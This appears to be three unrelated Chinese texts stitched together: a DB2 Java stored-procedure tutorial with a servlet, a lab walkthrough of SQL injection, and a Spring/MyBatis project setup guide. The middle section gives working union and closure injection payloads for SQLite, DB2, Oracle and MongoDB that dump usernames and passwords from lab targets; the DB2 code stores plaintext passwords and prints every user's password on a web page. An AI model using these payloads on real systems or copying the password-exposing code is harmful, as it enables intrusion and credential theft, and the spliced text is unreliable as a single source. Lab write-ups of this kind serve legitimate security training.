第一步：
 
在开发目录D:/DB2ExpV82ProcSampleWeb/Proc里创建几个文件：
 
1、
 
DuYiProcCreate.db2
 
内容：
 
 
 
CREATE PROCEDURE RtnGoodsInfo(IN GoodName char(16))
DYNAMIC RESULT SETS 1
NOT DETERMINISTIC
LANGUAGE JAVA 
PARAMETER STYLE JAVA
NO DBINFO
FENCED
THREADSAFE
READS SQL DATA
PROGRAM TYPE SUB
EXTERNAL NAME 'DuYiProc.RtnGoodsInfo'@
 
CREATE PROCEDURE  RtnAllUserInfo()
DYNAMIC RESULT SETS 1
NOT DETERMINISTIC
LANGUAGE JAVA 
PARAMETER STYLE JAVA
NO DBINFO
FENCED
THREADSAFE
READS SQL DATA
PROGRAM TYPE SUB
EXTERNAL NAME 'DuYiJavaProc.RtnAllUserInfo'@
 
CREATE PROCEDURE ONE_RESULT_SET (IN salValue DOUBLE)
DYNAMIC RESULT SETS 1
NOT DETERMINISTIC
LANGUAGE JAVA 
PARAMETER STYLE JAVA
NO DBINFO
FENCED
THREADSAFE
READS SQL DATA
PROGRAM TYPE SUB
EXTERNAL NAME 'DuYiJavaProc.resultSetToClient'@
 
CREATE PROCEDURE TWO_RESULT_SETS (IN salary DOUBLE)
DYNAMIC RESULT SETS 2
NOT DETERMINISTIC
LANGUAGE JAVA 
PARAMETER STYLE JAVA
NO DBINFO
FENCED
THREADSAFE
READS SQL DATA
PROGRAM TYPE SUB
EXTERNAL NAME 'DuYiJavaProc.twoResultSets'@
 
2、
 
用来删除存储过程的DuYiProcDrop.db2
 
内容：
 
DROP PROCEDURE RtnGoodsInfo (CHAR(16))@
 
DROP PROCEDURE RtnAllUserInfo()@
 
DROP PROCEDURE ONE_RESULT_SET (DOUBLE)@
 
DROP PROCEDURE TWO_RESULT_SETS (DOUBLE)@
 
3、被调用的java类：DuYiJavaProc.java
 
内容：
 

import java.sql.*;              // JDBC classes
///
// Java stored procedure is in this class
///
//返回货物信息
 
 
 

//返回全部已注册的用户信息
public class DuYiJavaProc
{
  
  public static void   RtnGoodsInfo(char[] goodName,ResultSet[] outRs) 
             throws SQLException
  {
    int errorCode = 0; // SQLCODE = 0 unless SQLException occurs
    String errorLabel = null;    
    try
    {
      // get caller's connection to the database
      errorLabel = "GET CONNECTION";  
      Connection con = DriverManager.getConnection("jdbc:default:connection");
 
      errorLabel = "SELECT STATEMENT";
      
      // set the SQL statement that will return the desired result set
      String query = "SELECT GoodsName, StockNums,Description,Price" +
              "  FROM GoodsInfo where GoodsName like ? ";
      // prepare the SQL statement
      PreparedStatement stmt = con.prepareStatement(query);
      stmt.setString(1, "%"+goodName+"%");
      // get the result set that will be returned to the client
      outRs[0] = stmt.executeQuery();      
      // to return a result set to the client, do not close ResultSet
      con.close();
    }
 
    catch (SQLException sqle)
    {
      errorCode = sqle.getErrorCode();
      throw new SQLException( errorCode + " : " + errorLabel + " FAILED" ); 
    }
  }//RtnGoodsInfo
    
    
  public static void   RtnAllUserInfo(ResultSet[] outRs) 
             throws SQLException
  {
    int errorCode = 0; // SQLCODE = 0 unless SQLException occurs
    String errorLabel = null;    
    try
    {
      // get caller's connection to the database
      errorLabel = "GET CONNECTION";  
      Connection con = DriverManager.getConnection("jdbc:default:connection");
 
      errorLabel = "SELECT STATEMENT";
      
      // set the SQL statement that will return the desired result set
      String query = "SELECT name, password " +
              "  FROM users ";
 
      // prepare the SQL statement
      PreparedStatement stmt = con.prepareStatement(query);
      // get the result set that will be returned to the client
      outRs[0] = stmt.executeQuery();
      
      // to return a result set to the client, do not close ResultSet
      con.close();
    }
 
    catch (SQLException sqle)
    {
      errorCode = sqle.getErrorCode();
      throw new SQLException( errorCode + " : " + errorLabel + " FAILED" ); 
    }
  }//RtnAllUserInfo
    
  //*************************************************************************
  //  Stored Procedure: resultSetToClient
  //
  //  Purpose:  Returns a result set to the caller that identifies employees
  //            with salaries greater than the value of input parameter
  //            inSalaryThreshold.
  //
  //  Parameters:
  // 
  //   IN:      inSalaryThreshold - salary
  //   OUT:     outRs - ResultSet
  //
  //*************************************************************************
  public static void resultSetToClient(double inSalaryThreshold, 
                                       ResultSet[] outRs)           
  throws SQLException
  {
    int errorCode = 0; // SQLCODE = 0 unless SQLException occurs
    String errorLabel = null;    
    try
    {
      // get caller's connection to the database
      errorLabel = "GET CONNECTION";  
      Connection con = DriverManager.getConnection("jdbc:default:connection");
 
      errorLabel = "SELECT STATEMENT";
      
      // set the SQL statement that will return the desired result set
      String query = "SELECT name, job, CAST(salary AS DOUBLE) " +
              "  FROM staff " +
                     "  WHERE salary > ? " +
                     "  ORDER BY salary";
 
      // prepare the SQL statement
      PreparedStatement stmt = con.prepareStatement(query);
 
      // set the value of the parameter marker (?)
      stmt.setDouble(1, inSalaryThreshold);
 
      // get the result set that will be returned to the client
      outRs[0] = stmt.executeQuery();
      
      // to return a result set to the client, do not close ResultSet
      con.close();
    }
 
    catch (SQLException sqle)
    {
      errorCode = sqle.getErrorCode();
      throw new SQLException( errorCode + " : " + errorLabel + " FAILED" ); 
    }
  } // resultSetToClient
 
  //*************************************************************************
  //  Stored Procedure: twoResultSets
  //
  //  Purpose:  Return two result sets to the caller. One result set
  //            consists of employee data of all employees with
  //            salaries greater than inSalaryThreshold.  The other
  //            result set contains employee data for employees with salaries
  //            less than inSalaryThreshold.
  //
  //  Parameters:
  // 
  //   IN:      inSalaryThreshold - salary
  //   OUT:     outRs1 - first ResultSet
  //            outRs2 - second ResultSet
  //
  //*************************************************************************
  public static void twoResultSets(double inSalaryThreshold,    
                                   ResultSet[] outRs1,             
                                   ResultSet[] outRs2)            
  throws SQLException
  {
    int errorCode = 0; // SQLCODE = 0 unless SQLException occurs
    String errorLabel = null;
    
    try
    {
      // get caller's connection to the database
      errorLabel = "GET CONNECTION";  
      Connection con = DriverManager.getConnection("jdbc:default:connection");
 
      errorLabel = "SELECT STATEMENT 1";
      
      // set the SQL statement that will return the desired result set
      String query1 =
        "SELECT name, job, CAST(salary AS DOUBLE) FROM staff " +
        "  WHERE salary > ? " +
        "  ORDER BY salary";
 
      // prepare the SQL statement
      PreparedStatement stmt1 = con.prepareStatement(query1);
 
      // set the value of the parameter marker (?)
      stmt1.setDouble(1, inSalaryThreshold);
 
      // get the result set that will be returned to the client
      outRs1[0] = stmt1.executeQuery();
 
      errorLabel = "SELECT STATEMENT 2";
      
      // set the SQL statement that will return the desired result set
      String query2 =
        "SELECT name, job, CAST(salary AS DOUBLE) FROM staff " +
        "  WHERE salary < ? " +
        "  ORDER BY salary DESC";
 
      // prepare the SQL statement
      PreparedStatement stmt2 = con.prepareStatement(query2);
 
      // set the value of the parameter marker (?)
      stmt2.setDouble(1, inSalaryThreshold);
 
      // get the result set that will be returned to the client
      outRs2[0] = stmt2.executeQuery();
 
      // to return the result sets to the client, do not close the ResultSets
      con.close();
    }
    catch (SQLException sqle)
    {
      errorCode = sqle.getErrorCode();
      throw new SQLException( errorCode + " : " + errorLabel + " FAILED" ); 
    }
  } // twoResultSets
} //DuYiJavaProc
 
 
 
第二步：
 
一、将db2java.zip从DB2安装目录下的SQLLIB/java复制到Tomcat5.5安装目录下的common/lib中。
二、将config.xml复制到Tomcat安装目录下的conf中。
    登录sample数据库的用户名和密码要重新指定。
    sample样本数据库可通过运行db2fs命令创建。
三、用命令db2fs创建样本数据库：sample 。
1、创建相应的表：
create table users(name varchar(30) not null primary key , password varchar(16) not null,description varchar(60) ,email varchar(60),phone varchar(16))
insert into users values('杜毅 ','aaa','杜毅是四川托普学院计科系教师于08年9月29日开发该Web项目','duyi@163.com','66666666666')
 
 CREATE TABLE "ADMIN   "."GOODSINFO"  (
    "GOODSID" CHAR(20) NOT NULL , 
    "GOODSNAME" CHAR(50) NOT NULL , 
    "STOCKNUMS" BIGINT NOT NULL , 
    "DESCRIPTION" CHAR(100) , 
    "PRICE" DOUBLE NOT NULL )   
   IN "USERSPACE1" ; 
插入一些记录。
 
2、用“数据源（ODBC）”建立一个系统数据源DB2sampleJDBC-ODBC。
3、编辑Tomcat5.5的conf目录下的context.xml，在“</Context>”前添加：
<Resource
      auth="Container" 
      name="jdbc/DB2sampleJDBC-ODBC"
      type="javax.sql.DataSource"
 
      driverClassName="sun.jdbc.odbc.JdbcOdbcDriver"
      url="jdbc:odbc:DB2sampleJDBC-ODBC"
 
      maxIdle="60"
      maxActive="1000"
      maxWait="5000"
 
      username="admin"
      password="XXXXXX"
     />
四、在NB61或“计算机管理”内重启Tomcat。
五、创建存储过程：（假定DB2的安装目录是：C:/IBMDB2UDBExpressV82）
在DB2的命令窗口中依次执行以下各行命令：   
cd C:/IBMDB2UDBExpressV82/java/jdk/bin
copy/y D:/DB2ExpV82ProcSampleWeb/Proc/*.*
db2 connect  to sample
db2 -td@ -vf duyiprocdrop.db2
db2 -td@ -vf duyiproccreate.db2
javac duyijavaproc.java
dir *.class
...
2008-09-29  14:39             2,623 DuYiJavaProc.class
...
copy/y duyijavaProc.class C:/IBMDB2UDBExpressV82/Function
(如果没有最后一步，会出现42724错误；即，找不到存储过程对应的java类。)
六、创建和运行使用存储过程的（Web）项目即可。
 
七、servlet代码举例：
 
/**
 * 返回全部已注册的用户信息
 */
package CallProc;
 
import java.io.*;
import java.sql.*;
import javax.servlet.*;
import javax.servlet.http.*;
import javax.sql.DataSource;
import javax.naming.InitialContext;
 
public class CallRtnAllUserInfoProc extends HttpServlet {
  private InitialContext initCtx;
  private DataSource ds;
  private Connection con;
  // <editor-fold defaultstate="collapsed" desc="各个调用存储过程的方法。单击左侧的 + 号以编辑代码。"> 
  static double outMedian = 0;
  public static void callRtnAllUserInfo(Connection con,PrintWriter out)
  {
    try
    {
      // prepare the CALL statement for ONE_RESULT_SET
        //调用SpServer.resultSetToClient
      String procName = "RtnAllUserInfo";
      String sql = "CALL " + procName+"()";
      CallableStatement callStmt = con.prepareCall(sql);
      // call the stored procedure
      out.println("<p>存储过程<B>" + procName+"</B></font>的返回值：");
      callStmt.execute();
      ResultSet rs = callStmt.getResultSet();
      fetchAll(rs,out);
      // close ResultSet and callStmt
      rs.close();
      callStmt.close();
    }
    catch (SQLException e)
    {
      out.println(e.getMessage());
    }
  } // callOneResultSet
  // ======================================================
  // Method: fetchAll -- returns all rows from a result set
  // ======================================================
  public static void fetchAll(ResultSet rs,PrintWriter out)
  {
    try
    {
      out.println(
        "<br>=============================================================");
    
      // retrieve the  number, types and properties of the 
      // resultset's columns
      ResultSetMetaData stmtInfo = rs.getMetaData();
      int numOfColumns = stmtInfo.getColumnCount();
      out.print("<br>共有"+numOfColumns+"列。<br>");
      out.print("<table><tr><td>用户名</td><td>密码</td><td>备注</td><td>EMAIL</td><td>电话号码</td>");
      while (rs.next())
      {
        for (int i = 1; i <= numOfColumns; i++)
        {
            out.print("<tr>");
            out.print("<td>");
            out.print(rs.getString(i));
            out.print("</td>");
            if (i == numOfColumns)
                out.print("</tr>");
        }
      }
      out.print("</table>");
    }
    catch (Exception e)
    {
      out.println("fetchALL方法发生异常："+e.getMessage());
      out.println("</body></html>");
    }
  } // fetchAll
 // </editor-fold>
    protected void processRequest(HttpServletRequest request, HttpServletResponse response)
    throws ServletException, IOException {
        response.setContentType("text/html;charset=GB2312");
        PrintWriter out = response.getWriter();
        try {  
            //使用连接池技术
            initCtx=new InitialContext();  
     ds = (DataSource)initCtx.lookup("java:comp/env/jdbc/DB2sampleJDBC-ODBC");  
            con = ds.getConnection();                           
            out.println("<html>");
            out.println("<head>");
            out.println("<title>调用存储过程</title>");  
            out.println("</head>");
            out.println("<body>");
            out.println("<center><font color=blue><B>---全部已注册的用户信息---</B></font></center>");                  
            callRtnAllUserInfo(con,out);
            //回滚全部对sample数据库的可能更改
            con.rollback();                                   
            con.close();
            out.println("</body>");
        }        
        catch (Exception e)
        {
          out.println("异常："+e.toString());
          try
          {
            con.rollback();
            con.close();
          }
          catch (Exception x)
          {
          }          
        } 
        finally { 
                out.close();
        }
    } 
 
    // <editor-fold defaultstate="collapsed" desc="HttpServlet 方法。单击左侧的 + 号以编辑代码。">
    /** 
    * Handles the HTTP <code>GET</code> method.
    * @param request servlet request
    * @param response servlet response
    */
    protected void doGet(HttpServletRequest request, HttpServletResponse response)
    throws ServletException, IOException {
        processRequest(request, response);
    } 
 
    /** 
    * Handles the HTTP <code>POST</code> method.
    * @param request servlet request
    * @param response servlet response
    */
    protected void doPost(HttpServletRequest request, HttpServletResponse response)
    throws ServletException, IOException {
        processRequest(request, response);
    }
 
    /** 
    * Returns a short description of the servlet.
    */
    public String getServletInfo() {
        return "Short description";
    }
    // </editor-fold>
}
 

 

SQLite联合注入
 
SQLite介绍：SQLite是遵守ACID的关联式数据库管理系统，它包含在一个相对小的C库中，它是D.RichardHipp建立的公有领域项目。
 
靶场：https://www.mozhe.cn/bug/detail/87
 SQLite手工注入方法小结：https://www.cnblogs.com/xiaozi/p/5760321.html
 
通常sqlite文件中会包含一个sqlite_master隐藏表
 这里记录着你建表留下的记录，我们可以查看这个表名来看这些数据
 
打开靶场，and 1=1，and 1=2 判断注入
 
 然后再通过order by 判断列数，发现有4列
 
 4列配合联合查询 union select 1,2,3,4
 
 然后我们看sqlite_master这个隐藏表，通过union select 1,name,sql,4 from sqlite_master 查询到表名和列名信息
 
 
 
直接构造sql语句1 union select 1,name,password,4 from WSTMart_reg limit 1 offset 1 密码md5解密进入后台
 

 DB2联合注入
 
DB2数据库介绍：DB2是IBM出品的一系列关系型数据库管理系统，可在不同的操作系统平台上服务。
 靶场：https://www.mozhe.cn/bug/detail/83
 参考：https://blog.csdn.net/Vi_vids/article/details/115254679
 
首先我们需要知道这个数据库自带的信息
 tabschema：数据库名 current schema：数据库名的列名
 table_name：表名 tabname：表名的列名
 column_name：列名的列名
 sysibm.sysdummy1 记录数据库名的信息
 syscat.tables：记录表名的信息
 sysibm.columns：记录列名的信息
 
打开靶场还是 and 1=1，and 1=2判断注入，接着order by 判断列数发现有4列
 
 接着直接联合查询构造sql语句 -1 union select 1,2,3,4 from syscat.tables
 
 爆数据库 -1 union select 1,current schema,3,4 from sysibm.sysdummy1
 
 爆表 -1 union select 1,2,tabname,4 from syscat.tables where tabschema=current schema limit 0,1
 
 爆列 union select 1,2,column_name,4 from sysibm.columns where table_schema=current schema and table_name=‘GAME_CHARACTER’ limit 0,1
 
 NAME：-1 union select 1,2,column_name,4 from sysibm.columns where table_schema=current schema and table_name=‘GAME_CHARACTER’ limit 1,1
 PASSWORD：-1 union select 1,2,column_name,4 from sysibm.columns where table_schema=current schema and table_name=‘GAME_CHARACTER’ limit 2,1
 爆数据 union select 1,name,password,4 from GAME_CHARACTER limit 0,1
 
 爆数据 union select 1,name,password,4 from GAME_CHARACTER limit 1,1
 
 拿到密码直接MD5解密进入后台
 
 
Oracle联合注入
 
Oracle数据库简介：Oracle Database，又名Oracle RDBMS，简称Oracle。是甲骨文公司的一款关系数据库管理系统。
 
靶场：https://www.mozhe.cn/bug/detail/85
 Oracle注入总结：https://www.cnblogs.com/peterpan0707007/p/8242119.html
 Oracle注入详解：https://blog.csdn.net/qq_35569814/article/details/100517122
 
all_tables 查询出所有的表
 user_tables 查询出当前用户的表
 all_tab_columns 查询出所有的字段
 user_tab_columns 查询出当前用户的字段
 
还是通过and 1=1 ，and 1=2 判断注入，然后通过order by 判断有2列
 
 然后构造sql语句,首先dual表，此表是Oracle数据库中的一个自带表，union select ‘null’,null… from dual 返回正常，说明第一个字段是字符型，反之为数字型，最后sql语句 union select ‘null’,‘null’ from dual
 
 所以这两个字段位字符型，爆当前数据库中的第一个表 union select (select table_name from user_tables where rownum=1),‘null’ from dual
 
 
第一个表名为LOGMNR_SESSION_EVOLVE$，爆出第二个表名 
union select (select table_name from user_tables where rownum=1 and table_name not in ('LOGMNR_SESSION_EVOLVE$')),'null' from dual
 
union select (select table_name from user_tables where rownum=1 and table_name not in ('LOGMNR_SESSION_EVOLVE$',' ')),'null' from dual
 
后续这样以此类推
 
第二次方法 like+通配符匹配 union select ‘1’,(select table_name from user_tables where rownum=1 and table_name like ‘%user%’) from dual
 
 爆表中的第一个字段：union select ‘1’,(select column_name from user_tab_columns where rownum=1 and table_name=‘sns_users’) from dual
 
 爆表中的第二个字段：union select ‘1’,(select column_name from user_tab_columns where rownum=1 and table_name=‘sns_users’ and column_name not in ‘USER_NAME’) from dual
 
 也可以用like+通配符 union select ‘1’,(select column_name from user_tab_columns where rownum=1 and table_name=‘sns_users’ and column_name like ‘%U%’) from dual
 
 获取指定表名列名数据 union select user_name,user_pwd from “sns_users”
 
 然后再查询user_name<>‘hu’ sql语句 union select user_name,user_pwd from “sns_users” where user_name<>‘hu’ 或者直接指定用户名 union select user_name,user_pwd from “sns_users” where user_name=‘mozhe’
 
密码md5解密进入后台
 

 MongoDB闭合注入
 
MongoDB数据库简介：MongoDB是一个基于分布式文件存储的数据库，由C++语言编写，旨在为Web应用提供可扩展的高性能数据存储解决方案。
 
参考：https://www.runoob.com/mongodb/mongodb-insert.html
 
MongoDB注入跟其他数据库注入不一样，源代码如下
 
 
$query="var data = db.notice.findOne({'id':'$id'}); return data;"
 
如果传入参数 order by 4
 
$query="var data = db.notice.findOne({'id':'order by 4'}); return data;"
 
仔细看内个order by 在单引号里面，在mysql里面
 
 select * from news where id =1 
 
注入的时候
 
select * from news where id =1 order by 4 
 
假如语句变换成
 
 select * from news where id ='1' 
 
那么注入的时候
 
select * from news where id =’1 order by 4‘ 
 
这时候注入代码 order by 4 => 字符串查询条件，作用就丧失了
 
所以在注入的时候要进行闭合构造sql语句如下
 
'}); return ({title:1,content:'2
 
原有语句拼接后
 
$query="var data = db.notice.findOne({'id':'$id'}); return data;"
 
$query="var data = db.notice.findOne({'id':'1'}); return data;"
 
$query="var data = db.notice.findOne({'id':'1'}); return ({title:1,content:'2'}); return data;"
 
那么’title‘、’content‘ 是根据代码上输出变量$obj ，变量$obj是执行完sql语句 $obj=$db->execute($query)返回的结果，’title‘、’content‘ 为列名
 
最终获取回显数字结果 new_list.php?id=1’}); return ({title:1,content:'2
 
 爆库，db返回的是数组，库名，需要用tojson转换为字符串，原因如下
 https://www.anquanke.com/post/id/83763
 
 最终sql语句 '}); return ({title:tojson(db),content:'2
 
 数据库：mozhe_cms_Authority 接着获取表名，db.getCollectionNames()//获取表名，构造sql语句 '}); return ({title:tojson(db.getCollectionNames()),content:'2
 
 爆列、数据，db.Authority_confidential是当前用的集合（表），find函数用于查询，0是第一条数据，sql语句 '}); return ({title:tojson(db.Authority_confidential.find()[0]),content:'1
 
参考mongodb常用的sql语句总结：https://www.cnblogs.com/zjdxr-up/p/10698505.html
 
 
 通过[0-1]控制数据 '}); return ({title:tojson(db.Authority_confidential.find()[1]),content:'1
 

 得到密码md5解密进入后台
 
 

这篇博客主要介绍 java web 环境以及项目搭建
 
 
 
适用于一些小的项目或者大学作业使用。
 Sping + MyBatis + SpringMVC + Maven + MySQL
 管理界面推荐 Vue 单页面
 
 
开发第一步 环境配置
 
jdk //运行 java 必备 ，oracle 官网下载 。须注册，
git // 代码版本管理,防止误删，把值得保存的项目上传到 gitee 或 github
mysql // 数据存储 ， 我一般用 wampserver , 集成了我所需要的
maven // maven 项目需要的 ，不是必须的 ，也是解压即可用的，搭建项目
nodejs // 前后端分离开发时需要使用
idea / eclipse //集成开发工具 ，推荐使用 idea , idea收费的，但是学生免费
vscode //一个强大的文本编译器，跨平台，易用
tomcat // java web 服务器环境， 下载解压即可用，如果是 maven 项目，会有一个tomcat 插件。tomcat 则不需要安装
 
 
 
maven 和 node 默认的存储仓库是在 c 盘用户目录文件夹下 需要修改， 以及默认的下载源都是国外的需要修改，一般的话，node 下载使用 cnpm 而不是 npm ， maven 也是使用 淘宝的镜像 。
 
 
maven 优点
 
在这边介绍一下为什么使用 maven , 在正常的一个 javaweb 项目（servlet）中，我们需要导入 jdbc 、 json 所需要的包，
 至于 SSM 框架所需要的包就更多了，当少一个包就会各种报错，而每个项目的包都差不多，每次这样的导入。懒人是不能容忍的,需要自动导入，另外一个原因，就是统一了目录，方便开发。还有 分布式 开发。
 
项目搭建
 
?idea很好用，所以我采用了 idea 作为开发环境。
 项目的目录结构 ，先上截图 ：
 
 这里面我使用了mybatis 逆向工程， 就是将表建好之后，通过官方的 jar 包，手写一个类自动生成 pojo ,mapper 下的所有代码。
 运行环境我采用了tomcat 插件，可以在本地运行，也可以热部署到远程服务器上。
 
需要自己手写的是几个配置文件。
 
pom.xml 这个相当于导入jar包
web.xml
main/resources 包下，除了 mapper 文件夹下的（这个是自动生成的 )
 
pom.xml 热部署被我注释了
 
<?xml version="1.0" encoding="UTF-8"?>

<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
  xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
  <modelVersion>4.0.0</modelVersion>

  <groupId>site.suimu</groupId>
  <artifactId>mybatisGe</artifactId>
  <version>1.0-SNAPSHOT</version>
  <packaging>war</packaging>

  <name>mybatisGe Maven Webapp</name>
  <!-- FIXME change it to the project's website -->
  <url>http://www.example.com</url>

  <properties>
    <!-- 设置项目编码编码 -->
    <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
    <project.reporting.outputEncoding>UTF-8</project.reporting.outputEncoding>
    <!-- spring版本号 -->
    <spring.version>4.3.5.RELEASE</spring.version>
    <!-- mybatis版本号 -->
    <mybatis.version>3.4.1</mybatis.version>
  </properties>

  <dependencies>
    <!-- java ee -->
    <dependency>
      <groupId>javax</groupId>
      <artifactId>javaee-api</artifactId>
      <version>7.0</version>
    </dependency>

    <!-- 单元测试 -->
    <dependency>
      <groupId>junit</groupId>
      <artifactId>junit</artifactId>
      <version>4.12</version>
    </dependency>

    <!-- 实现slf4j接口并整合 -->
    <dependency>
      <groupId>ch.qos.logback</groupId>
      <artifactId>logback-classic</artifactId>
      <version>1.2.2</version>
    </dependency>

    <!-- JSON -->
    <dependency>
      <groupId>com.fasterxml.jackson.core</groupId>
      <artifactId>jackson-databind</artifactId>
      <version>2.8.7</version>
    </dependency>


    <!-- 数据库 -->
    <dependency>
      <groupId>mysql</groupId>
      <artifactId>mysql-connector-java</artifactId>
      <version>5.1.41</version>
      <scope>runtime</scope>
    </dependency>

    <!-- 数据库连接池 -->
    <dependency>
      <groupId>com.mchange</groupId>
      <artifactId>c3p0</artifactId>
      <version>0.9.5.2</version>
    </dependency>

    <!-- MyBatis -->
    <dependency>
      <groupId>org.mybatis</groupId>
      <artifactId>mybatis</artifactId>
      <version>${mybatis.version}</version>
    </dependency>

    <!-- mybatis/spring整合包 -->
    <dependency>
      <groupId>org.mybatis</groupId>
      <artifactId>mybatis-spring</artifactId>
      <version>1.3.1</version>
    </dependency>

    <!-- Spring -->
    <dependency>
      <groupId>org.springframework</groupId>
      <artifactId>spring-core</artifactId>
      <version>${spring.version}</version>
    </dependency>
    <dependency>
      <groupId>org.springframework</groupId>
      <artifactId>spring-beans</artifactId>
      <version>${spring.version}</version>
    </dependency>
    <dependency>
      <groupId>org.springframework</groupId>
      <artifactId>spring-context</artifactId>
      <version>${spring.version}</version>
    </dependency>
    <dependency>
      <groupId>org.springframework</groupId>
      <artifactId>spring-jdbc</artifactId>
      <version>${spring.version}</version>
    </dependency>
    <dependency>
      <groupId>org.springframework</groupId>
      <artifactId>spring-tx</artifactId>
      <version>${spring.version}</version>
    </dependency>
    <dependency>
      <groupId>org.springframework</groupId>
      <artifactId>spring-web</artifactId>
      <version>${spring.version}</version>
    </dependency>
    <dependency>
      <groupId>org.springframework</groupId>
      <artifactId>spring-webmvc</artifactId>
      <version>${spring.version}</version>
    </dependency>
    <dependency>
      <groupId>org.springframework</groupId>
      <artifactId>spring-test</artifactId>
      <version>${spring.version}</version>
    </dependency>
    <!-- https://mvnrepository.com/artifact/org.mybatis.generator/mybatis-generator-core -->
    <!--MyBatis 官方提供了一种名为 “逆向工程” 的机制，其可以针对数据库中的单表自动生成 MyBatis 执行所需要的代码
        包括：
        Java 实体类、Mapper映射配置、Mapper代理接口-->
    <dependency>
      <groupId>org.mybatis.generator</groupId>
      <artifactId>mybatis-generator-core</artifactId>
      <version>1.3.7</version>
    </dependency>

  </dependencies>

  <build>
    <plugins>
      <!-- tomcat插件 -->
      <plugin>
        <groupId>org.apache.tomcat.maven</groupId>
        <artifactId>tomcat7-maven-plugin</artifactId>
        <version>2.2</version>
        <configuration>
          <!-- 控制tomcat端口号 -->
          <port>8080</port>
          <!-- 项目发布到tomcat后的名称 -->
          <!-- / 相当于把项目发布名称为ROOT -->
          <!-- /abc -->
          <path>/mavenSSM</path>
          <!--配置热部署-->
          <!--<username>tomcat</username>
          <password>tomcat</password>
          <url>http://ip:port/manager/text</url>-->
        </configuration>
      </plugin>
    </plugins>
  </build>
</project>

 
web.xml
 
// tomcat 自动加载的文件，需要在这里配置加载 mybatis 和 spring 的配置文件
 
<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_3_1.xsd"
         version="3.1">

  <!-- 编码过滤器 -->
  <filter>
    <filter-name>encodingFilter</filter-name>
    <filter-class>org.springframework.web.filter.CharacterEncodingFilter</filter-class>
    <init-param>
      <param-name>encoding</param-name>
      <param-value>UTF-8</param-value>
    </init-param>
  </filter>
  <filter-mapping>
    <filter-name>encodingFilter</filter-name>
    <url-pattern>/*</url-pattern>
  </filter-mapping>

  <!-- 配置DispatcherServlet -->
  <servlet>
    <servlet-name>SpringMVC</servlet-name>
    <servlet-class>org.springframework.web.servlet.DispatcherServlet</servlet-class>
    <!-- 配置springMVC需要加载的配置文件-->
    <init-param>
      <param-name>contextConfigLocation</param-name>
      <param-value>classpath:spring-*.xml</param-value>
    </init-param>
    <load-on-startup>1</load-on-startup>
    <async-supported>true</async-supported>
  </servlet>
  <servlet-mapping>
    <servlet-name>SpringMVC</servlet-name>
    <!-- 匹配所有请求 -->
    <url-pattern>/</url-pattern>
  </servlet-mapping>
</web-app>

 
jdbc.properties
 
jdbc.driver=com.mysql.jdbc.Driver
#数据库地址
jdbc.url=jdbc:mysql://localhost:3306/ssm?useUnicode=true&characterEncoding=utf8
#用户名
jdbc.username=ssmUser
#密码
jdbc.password=123456
#最大连接数
c3p0.maxPoolSize=30
#最小连接数
c3p0.minPoolSize=10
#关闭连接后不自动commit
c3p0.autoCommitOnClose=false
#获取连接超时时间
c3p0.checkoutTimeout=10000
#当获取连接失败重试次数
c3p0.acquireRetryAttempts=2
 
spring-mybatis.xml
 
<?xml version="1.0" encoding="UTF-8"?>
<beans xmlns="http://www.springframework.org/schema/beans"
       xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
       xmlns:context="http://www.springframework.org/schema/context" xmlns:tx="http://www.springframework.org/schema/tx"
       xsi:schemaLocation="http://www.springframework.org/schema/beans
       http://www.springframework.org/schema/beans/spring-beans.xsd
       http://www.springframework.org/schema/context
       http://www.springframework.org/schema/context/spring-context.xsd http://www.springframework.org/schema/tx http://www.springframework.org/schema/tx/spring-tx.xsd">

    <!-- 扫描service包下所有使用注解的类型 -->
    <context:component-scan base-package="site.suimu.service"/>

    <!-- 配置数据库相关参数properties的属性：${url} -->
    <context:property-placeholder location="classpath:jdbc.properties"/>

    <!-- 数据库连接池 -->
    <bean id="dataSource" class="com.mchange.v2.c3p0.ComboPooledDataSource">
        <property name="driverClass" value="${jdbc.driver}"/>
        <property name="jdbcUrl" value="${jdbc.url}"/>
        <property name="user" value="${jdbc.username}"/>
        <property name="password" value="${jdbc.password}"/>
        <property name="maxPoolSize" value="${c3p0.maxPoolSize}"/>
        <property name="minPoolSize" value="${c3p0.minPoolSize}"/>
        <property name="autoCommitOnClose" value="${c3p0.autoCommitOnClose}"/>
        <property name="checkoutTimeout" value="${c3p0.checkoutTimeout}"/>
        <property name="acquireRetryAttempts" value="${c3p0.acquireRetryAttempts}"/>
    </bean>

    <!-- 配置SqlSessionFactory对象 -->
    <bean id="sqlSessionFactory" class="org.mybatis.spring.SqlSessionFactoryBean">
        <!-- 注入数据库连接池 -->
        <property name="dataSource" ref="dataSource"/>
        <!-- 扫描pojo包 使用别名 -->
        <property name="typeAliasesPackage" value="site.suimu.pojo"/>
        <!-- 扫描sql配置文件:mapper需要的xml文件 -->
        <property name="mapperLocations" value="classpath:mapper/*.xml"/>
    </bean>

    <!-- 配置扫描Dao接口包，动态实现Dao接口，注入到spring容器中 -->
    <bean class="org.mybatis.spring.mapper.MapperScannerConfigurer">
        <!-- 注入sqlSessionFactory -->
        <property name="sqlSessionFactoryBeanName" value="sqlSessionFactory"/>
        <!-- 给出需要扫描Dao接口包 -->
        <property name="basePackage" value="site.suimu.mapper"/>
    </bean>

    <!-- 配置事务管理器 -->
    <bean id="transactionManager" class="org.springframework.jdbc.datasource.DataSourceTransactionManager">
        <!-- 注入数据库连接池 -->
        <property name="dataSource" ref="dataSource"/>
    </bean>

    <!-- 配置基于注解的声明式事务 -->
    <tx:annotation-driven transaction-manager="transactionManager"/>

</beans>

 
spring-mvc.xml
 
<?xml version="1.0" encoding="UTF-8"?>
<beans xmlns="http://www.springframework.org/schema/beans"
       xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
       xmlns:context="http://www.springframework.org/schema/context"
       xmlns:mvc="http://www.springframework.org/schema/mvc"
       xsi:schemaLocation="http://www.springframework.org/schema/beans
       http://www.springframework.org/schema/beans/spring-beans.xsd
       http://www.springframework.org/schema/context
       http://www.springframework.org/schema/context/spring-context.xsd
       http://www.springframework.org/schema/mvc
